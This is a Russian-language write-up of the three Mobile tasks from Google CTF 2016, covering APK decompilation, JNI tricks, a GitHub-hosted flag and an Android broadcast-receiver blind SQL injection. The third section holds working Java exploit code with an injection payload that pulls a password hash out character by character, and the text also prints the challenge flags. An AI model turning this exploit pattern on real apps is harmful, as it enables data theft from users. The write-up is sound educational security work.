Разбор заданий с Google CTF 2016: Mobile
Intro
Вчера закончились впервые организованные Google`ом соревнования по захвату флага — Google Capture The Flag 2016. Соревнования длились двое суток, за время которых нужно было выжать из предлагаемых тасков как можно больше флагов. Формат соревнования — task-based / jeopardy.
Как заявил гугл, задания для этого CTF составляли люди, являющиеся сотрудниками команды безопасности гугла. Поэтому интерес к данным таскам, как и к первому GCTF в целом, был достаточно велик — всего зарегистрировалось ~2500 команд, из которых, однако, только 900 набрали хотя бы 5 очков на решении тасков (опустим ботов и немногочисленные попытки играть нечестно). Принять участие можно было любому желающему, начиная от rookie и любителей безопасности и заканчивая легендами отраслей. Кроме того, можно было участвовать и в одиночку.
Большую часть от 2х суток я ковырял задания категории Mobile. И в этом хабе представлены writeup`ы всех тасков этой категории. Гугл предложил всего 3 задания для Mobile (в других было по 5–6), но от этого они были, возможно, даже более качественными.
Ну ладно, вода закончилась, переходим к сути :)
1. Ill Intentions
Таск звучит так:
Do you have have ill intentions?
Ill Intentions.APK
По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 150 очков.
Итак, перед нами APK и больше ничего. Первое, что приходит на ум — установка пакета на эмулятор и декомпиляция пакета. Этим и займемся.
Здесь и далее не будем останавливаться на технических деталях, но все же стоит сказать, что сделать декомпайл с недавних пор стало можно с помощью полностью автоматизированной GUI-тулзы APK Studio. С ее помощью можно автоматизировать процесс декомпиляции и последующей сборки+подписи APK. Понятно, что весь «автомат» строится на той же связке apktool+dex2jar+(java декомпилятор, например jd). Но я предпочитаю «старинку» и произвожу декомпиляцию APK в полу-ручном режиме aka «apktool+dex2jar+jd-gui+(набор своих скриптов)».
Попытаемся установить «недобрые намерения» на эмулятор, предварительно посмотрев минимальную версию SDK Android:
У меня в распоряжении эмуляторов с шестым андройдом (Marshmallow) и на 1 версию ниже не оказалось, поэтому я решил пойти другим путем: преобразовать низкоуровневый Smali-код в Java код (classes.dex → JAR`ник) и уже из java-исходников реконструировать приложение. Однако, не все оказалось так сладко.
Если заглянуть в манифест приложения:
то там можно увидеть 4 активности, первая из которых не представляет никакого интереса, а последующие 3 явно говорят своими именами, что они причастны к флагу. Посмотрев в реконструированный Java-код любой из тех трёх можно увидеть интересную вещь:
И вещь заключается в том, что рутина по вычислению флага частично вынесена на более низкий уровень кода — на уровень JNI.
Что ж, руки чешутся сразу же отыскать в нативном C++ коде функцию computeFlag () . Для этого нам нужно произвести дизассемблирование нативной библиотеки (.so) hello-jni.
Но то, что там (а точнее, чего там нет) не обрадует:
IDA не говорит ни слова про computeFlag () в либе… да и в Java-коде нет нигде вызова этой функции — только импорт.
Делаем вывод, что ребята из гугла таким образом просто постебались =)
Возвращаемся к идее о реконструкции приложения (создание своего идентичного APK). Миграция Java-кода и его «дореконструкция» не составляет проблемы, но вот что реально может их создать — импорт нативных функций. Их имена уже были выше, вот они:
- Java_com_example_application_IsThisTheRealOne_perhapsThis
- Java_com_example_application_ThisIsTheRealOne_orThat
- Java_com_example_application_DefinitelyNotThisOne_definitelyNotThis
Последняя функция говорит за себя (стеб от гугла уже закончился) — если ее дизассемблировать и посмотреть, то можно будет увидеть, что из нее возвращается статическая строчка — «Told you so!», поэтому про нее сразу забываем.
Имена нативных функций содержат название пакета+название класса, из которого (и только из которого) они могут быть вызваны в Java-коде — в противном случае на стадии вызова функции из высокоуровневого кода возникнет ошибка. Поэтому реставрируемое приложение должно в точности повторять имена, используемые в оригинальном APK, а вызов нативных JNI-функций должен происходить из соответствующих Java-классов.
Зная это, производим реставрацию кода. Код класса ThisIsTheRealOne и IsThisTheRealOne во многом идентичны — различается только рутина по вычислению строки (флага?) в методе клика по кнопке onClick ()(см.выше).
Произведем модификацию кода, обрабатывающего клик, добавив в его конец вывод вычисленных строк в лог Android-приложения:
Log.d("CTF", i.getStringExtra("msg"));
Собрав приложение, открывать активности (ThisIsTheRealOne и IsThisTheRealOne) придется с помощью ADB утилиты AM (activity manager), т.к интерфейс приложения не позволяет этого делать в gui-режиме (хотя это можно исправить, дописав 5 строчек кода, но лень).
Вот вычисленная строка из активности ThisIsTheRealOne:
KeepTryingThisIsNotTheActivityYouAreLookingForButHereHaveSomeInternetPoints!
А вот из IsThisTheRealOne:
Congratulation!YouFoundTheRightActivityHereYouGo-CTF{IDontHaveABadjokeSorry}
Вместе с флагом, который говорит о том, что гугл плохо не шутит. Снова стёб? :)
2. Can you repo it?
Таск звучит так:
Do you think the developer of Ill Intentions knows how to set up public repositories?
По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось всего 5 очков.
Во время исследования «нехороших намерений» под руку попался файл ресурсов Android приложения, содержащий строки. Там обычно много всего интересного, и этот раз не стал исключением:
Сразу бросается в глаза flag, частотный криптоанализ содержимого которого показывает, что это, скорее всего, шифр Цезаря. И правда, оказался Rot-13, но гугл стебется над тем, кто правда думает, что даже 5 баллов могут даться так просто. Делаем Rot-13(Rot-13()):
Did you think it would be that easy?
Ок. Придется думать, что ж. Нужно найти некий публичный репозиторий. Скорее всего, это GitHub. И для того, чтобы найти на его просторах флаг, необходимо что-то поистине уникальное (имя юзера или репозитория). Прямо под флагом как раз то, что и может быть таким «поистине уникальным»:
l33tdev42
Простой гуглинг не дает результатов, что поначалу как-то выбивает из сил…, но перейдя на гитхаб и произведя поиск «l33tdev42» там, натыкаемся на уникального юзера:
У которого 1 единственный проект с 3 коммитами… проект простоват, а коммита целых три:
Внутри последнего как раз нужный флаг:
ctf{TheHairCutTookALoadOffMyMind}
Признаться, 5 баллов — все же маловато за такой таск…
Это был самый первый таск из Mobile, который удалось затащить. После него показалось, что в тасках за 150 и более находятся в принципе нерешабельные задачи, но, как уже и говорилось, гугл стебется :)
3. Little Bobby Application
Таск звучит так:
Find the vulnerability, develop an exploit, and when you’re ready,
submit your APK to bottle-brush-tree.ctfcompetition.com.
Can take up to 15 minutes to return the result.BobbyApplication_CTF.apk
По ссылке:
Upload an APK, wait a bit for your target to load your malicious APK, and get the logs…
По шкале сложности от 5 до 300 за успешное решение этого таска предлагалось 250 очков.
Нужно найти уязвимость в Android-приложении, написать эксплоит и с помощью этого эксплоита вытащить флаг из реального юзера. Анализ работоспособности эксплоита происходит на эмуляторе на сервере. Спустя в среднем 13 минут возвращается лог приложения-эксплоита, в который можно писать все, что угодно, но лучше туда писать флаг, конечно же.
На первый взгляд страшновато, но не стоит забывать о том, что гугл любит стебаться.
Вот как выглядит Bobby-приложение:
Простенькая форма для авторизации и возможность регистрации. Что ж, декомпайл-тайм!
Декомпиляция показала, что приложение использует Sqlite для хранения данных с интересно спроектированной таблицей Users:
Флаг говорит о том, что инъекция — это все, что нужно сделать, чтобы получить флаг.
Динамическая часть флага — md5 от пароля пользователя. Этот-то хэш и нужно утащить с помощью эксплоита, чтобы «собрать» конечный флаг.
Ищем уязвимость.
Этот процесс прошел достаточно быстро. Приложение содержало всего 8 классов и найти уязвимый модуль не составило проблемы. Уязвимость заключалась в следующем: при старте приложение регистрировало приемник широковещательных событий, поступаемых извне:
Обработчиком входящих broadcast`ов выступал класс-наследник BroadcastReceiver, в котором содержался следующий код:
А вот имплементация метода checkLogin () из тела обработчика входящего broadcast`а:
Как видно, ни метод, ни обработчик броадкаста не фильтруют входящие данные, которые потом используются при генерации «сырого» SQL-запроса к базе.
Ручная эксплуатация показала, что там действительно дырка в безопасности, позволяющая модифицировать запрос через форму.
Очевидно, что перед нами уязвимость Blind SQLi — метод checkLogin () возвращает статические строки, независимые от инпута.
Но тем не менее в зависимости от количества выбранных запросом записей (которые можно контролировать эксплоитом) мы можем управлять поведением этого метода, высасывая с каждым злонамеренным запросом 1 бит информации о любом поле таблицы БД (да и о самой БД и вообще о чем угодно), но нас интересует поле password, как уже говорилось выше, для «сборки» флага.
Пишем эксплоит.
Алгоритм эксплоита:
- Запустить Bobby-приложение для того, чтобы оно запустило приемник broadcast-событий
- Сформировать malicious intent для приемника с «злыми» данными внутри
- Слать широковещательное событие с интентом, содержащим вредоносные данные
- Получать ответ от приемника Bobby-приложения о результате
- Повторять до тех пор, пока все нужные данные не будут посимвольно «высосаны»
Для реализации эксплоита достаточно двух классов. Код получился небольшой, поэтому он приведен ниже:
Главная активность эксплоита:
public class Main extends Activity {
// Поиск символов по всей таблице символов Unicode
static int L = 0, R = (int)Math.pow(2,16);
public static int symbolNum = 0;
public static Main activity = null;
public static StringBuilder flag = new StringBuilder();
public static void SendBroadcast()
{
if(Main.symbolNum>32)
{
Main.Finish();
return;
}
// Формируем вредоносное намерение.
// Эксплуатация уязвимости будет происходить с использованим бинарного поиска
int M = (L+R)/2;
Intent maliciousIntent = new Intent();
maliciousIntent.setAction("com.bobbytables.ctf.myapplication_INTENT");
maliciousIntent.putExtra("username", "???\" or unicode(substr(password," + symbolNum + ",1))>" + M + " -- ");
maliciousIntent.putExtra("password", "1");
activity.sendBroadcast(maliciousIntent);
}
public static void Finish()
{
// Выводим в лог найденный флаг
Log.d("FLAG", Main.flag.toString());
Main.activity.finish();
}
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
activity = this;
// Регистрируем приемник широковещательных событий(ответов) от onReceive() Bobby-приложения
IntentFilter filter = new IntentFilter("com.bobbytables.ctf.myapplication_OUTPUTINTENT");
registerReceiver(new MalReceiver(), filter);
// Запускаем Bobby-приложение
// (в совершенстве - нужно следить, чтобы в системе был единственный экземпляр)
PackageManager pm = getPackageManager();
Intent intent = pm.getLaunchIntentForPackage("bobbytables.ctf.myapplication");
if (intent != null){
startActivity(intent);
}
// Ждем некоторое время, пока активность вместе с интересующим приемником развернется
Handler handler = new Handler();
handler.postDelayed(new Runnable() {
@Override
public void run() {
SendBroadcast();
}
}, 2000);
}
}
Приемник ответов от Bobby:
public class MalReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
// Получаем ответ от Bobby-приложения
String answer = intent.getStringExtra("msg");
// SQL TRUE
if(answer.compareToIgnoreCase("Incorrect password")==0)
{
// Ищем дальше
Main.L = (Main.L + Main.R)/2;
}
// SQL FALSE
else{
// Ищем дальше
Main.R = (Main.L + Main.R)/2;
}
// Нашли N-ый символ хэша пароля
if(Main.R-Main.L <= 1)
{
Main.flag.append((char)Main.R);
Main.symbolNum++;
Main.L = 0; Main.R = (int)Math.pow(2,16);
}
Main.SendBroadcast();
}
}
После этого осталось только отправить эксплоит на сервер, чтобы его протестировали.
Через 15 минут…
Гугл возвращает долгожданный лог, в котором обнаруживаем:
Осталось плевое дело — подставить во флаг полученный хэш:
ctf{An injection is all you need to get this flag - 106b826d7d5ec465b0c5d385a41c6ff6}
Вот и все.
Теперь немного о том, как гугл стебался над теми, кто пытался решить этот таск. Это было довольно хитро — сразу же после старта эксплоита с Bobby-приложением на эмуляторе Android на сервере стартовала обезьяна (было видно в возвращенном логе), которая «бомбила» рандомными действиями все компоненты системы, из-за чего, например, время от времени закрывалась активность эксплоита. Поначалу было неясно, что прерывало работу эксплоита — ошибок о вылетах в логе не было, возникали впечатления, что там ограничение по времени. Anyway, удачно высосать флаг удалось только с 3 попытки.
В коде экспоита выше приведен минимальный набор действий, демонстрирующий общую концепцию.
То, что реально получилось на практике, содержит тонну кода по защите от monkey, по запрету на запуск более 1 экземпляра приемника на стороне Bobby и т.д.
Outro
Так как я сосредоточился на безопасности мобильных приложений, то в полной мере оценить «фан» тасков от гугла мне едва ли удалось, но исходя из того, что пришлось преодолеть, могу точно сказать, что GCTF получился довольно интересным, и во многом интерес обеспечен многочисленными попытками стеба над участниками. В такие моменты, когда ты понимаешь, что над тобой снова «постебались», чувствуешь прилив какой-то «черной» мотивации =)
Спасибо, гугл, было интересно ;)